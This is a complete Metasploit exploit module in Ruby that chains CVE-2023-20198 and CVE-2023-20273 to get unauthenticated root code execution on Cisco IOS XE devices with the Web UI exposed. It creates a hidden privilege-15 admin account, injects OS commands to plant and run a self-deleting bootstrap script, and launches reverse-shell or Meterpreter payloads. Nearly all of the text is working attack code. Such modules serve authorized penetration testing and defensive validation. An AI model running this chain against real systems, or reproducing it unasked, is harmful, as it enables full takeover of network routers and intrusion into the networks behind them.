Cisco IOX XE Unauthenticated RCE Chain

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::CiscoIosXe
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco IOX XE Unauthenticated RCE Chain',
        'Description' => %q{
          This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
          devices which have the Web UI exposed. An attacker can execute a payload with root privileges.

          The vulnerable IOS XE versions are:
          16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
          16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
          16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
          16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
          16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
          16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
          16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
          16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
          16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
          16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
          16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
          16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
          16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
          17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
          17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
          17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
          17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
          17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
          17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
          17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
          17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
          17.11.99SW

          NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
          though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # MSF Exploit
        ],
        'References' => [
          ['CVE', '2023-20198'],
          ['CVE', '2023-20273'],
          # Vendor advisories.
          ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],
          ['URL', 'http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],
          # Vendor list of (205) vulnerable versions.
          ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],
          # Technical details on CVE-2023-20198.
          ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'],
          ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'],
          # Technical details on CVE-2023-20273.
          ['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'],
          # Full details of a successful exploitation attempt from a honey pot.
          ['URL', 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf'],
        ],
        'DisclosureDate' => '2023-10-16',
        'Privileged' => true,
        'Targets' => [
          [
            # Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:
            # cmd/linux/http/x64/meterpreter/reverse_tcp
            # cmd/linux/http/x64/shell/reverse_tcp
            # cmd/linux/http/x86/shell/reverse_tcp
            'Linux Command',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_CMD]
            },
          ],
          [
            # Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:
            # cmd/unix/python/meterpreter/reverse_tcp
            # cmd/unix/reverse_bash
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => [ARCH_CMD]
            },
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of
        # 'global' should work, but exposing this as an option will allow for usage in more complex network setups.
        # A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to
        # inspect a devices configuration to see an appropriate VRF to use.
        OptString.new('CISCO_VRF_NAME', [ true, "The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.", 'global']),
        # We may need to try and execute a command a second time if it fails the first time. This option is the maximum
        # number of seconds to keep trying.
        OptInt.new('CISCO_CMD_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to execute a command.', 30])
      ]
    )
  end

  def check
    # First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with
    # the Web UI exposed (which is the vulnerable component).
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('webui', '/')
    )

    return CheckCode::Unknown('Connection failed') unless res

    # We look for one of two identifiers to ensure the request to /webui/ above returns something with Cisco in the content.
    if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))
      return CheckCode::Unknown('Web UI not detected')
    end

    # By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,
    # so if this request succeeds, then we know the target is vulnerable.
    res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)

    # If the above request failed, then the target is safe.
    return CheckCode::Safe('CVE-2023-20273 command injection check failed; target is not vulnerable') unless res

    version = 'Cisco IOS XE Software'

    # If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable
    # (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format
    # for the version information so our regex wont work.
    # Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2
    if res =~ /(Cisco IOS XE Software, Version \S+\.\S+\.\S+)/
      version = Regexp.last_match(1)
    end

    # Now we leverage both CVE-2023-20198 and CVE-2023-20273 to ensure the target is actually vulnerable. For example,
    # it has been observed that the C8000v series appliance version 17.6.5 is vulnerable to CVE-2023-20198, but not
    # vulnerable to CVE-2023-20273, even though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
    # As this exploit chains both CVE-2023-20198 and CVE-2023-20273 together, the check routine must verify both CVEs
    # work as expected in order to return CheckCode::Vulnerable (i.e. we cannot solely rely on a version based check via
    # CVE-2023-20198).
    begin
      # NOTE: We pass verbose as false, because a check routine should not print status messages to the console, and
      # do_auth_bypass may print several status messages if verbose is true.
      do_auth_bypass(verbose: false) do |username, password|
        do_rce_check(username, password)
      end
    rescue Msf::Exploit::Failed => e
      # If either the auth bypass, or the command injection have failed (via a call to fail_with), we catch the
      # exception here and return a CheckCode of Safe to indicate this target is not vulnerable. We can provide
      # some additional context to the user by passing the Failure message to the CheckCode.
      return CheckCode::Safe("#{e}. #{version}")
    end

    CheckCode::Vulnerable(version)
  end

  def exploit
    do_auth_bypass(verbose: true) do |username, password|
      do_rce_payload(username, password)
    end
  end

  def do_auth_bypass(verbose: true)
    admin_username = rand_text_alpha(8)
    admin_password = rand_text_alpha(8)

    # Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.
    unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION)
      fail_with(Failure::UnexpectedReply, 'Failed to create admin user')
    end

    begin
      print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'") if verbose

      yield(admin_username, admin_password)
    ensure
      print_status("Removing user '#{admin_username}'") if verbose

      # Leverage CVE-2023-20198 to remove the admin account we previously created.
      if !run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION) && verbose
        print_warning('Failed to remove user')
      end
    end
  end

  def do_rce_payload(username, password)
    # Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...

    # A shell script to execute the Metasploit payload. Will delete itself upon execution.
    bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"

    # The location of our bootstrap script.
    bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"

    # NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and
    # 17.8 to work as expected. Version 16.* did not work when semicolons were present in the command line.

    # Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems
    # with restricted chars, and leverage openssl to decode and write the contents to disk.
    success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
      next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", username, password)
    end

    fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file') unless success

    # Make the script executable.
    success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
      next run_os_command("chmod +x #{bootstrap_file}", username, password)
    end

    fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file') unless success

    # Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by
    # default. The VRF allows the executed script to route its network traffic back the framework. The map_chvrf.sh
    # scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.
    success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
      next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", username, password)
    end

    fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file') unless success
  end

  # We can check a target is vulnerable to CVE-2023-20273, by leveraging CVE-2023-20273 to write a file to the web root
  # folder, and then read that file back out via an HTTP GET request. If we can read back out the expected data, we know
  # the target is vulnerable to CVE-2023-20273.
  def do_rce_check(username, password)
    check_data = Rex::Text.rand_text_alpha(16)

    check_file = Rex::Text.rand_text_alpha(16)

    check_path = "/var/www/#{check_file}"

    cmd = "echo -n #{check_data} > #{check_path}"

    fail_with(Failure::UnexpectedReply, 'Failed to run check command via CVE-2023-20273') unless run_os_command(cmd, username, password)

    begin
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri('webui', check_file),
        'headers' => {
          'Authorization' => basic_auth(username, password)
        }
      )

      fail_with(Failure::UnexpectedReply, 'Failed to get check command output for CVE-2023-20273') unless res&.code == 200

      fail_with(Failure::UnexpectedReply, 'Failed to validate check command output for CVE-2023-20273') unless res&.body == check_data
    ensure
      # Deleting the output file can take more than one attempt.
      retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
        next run_os_command("rm #{check_path}", username, password)
      end
    end
  end
end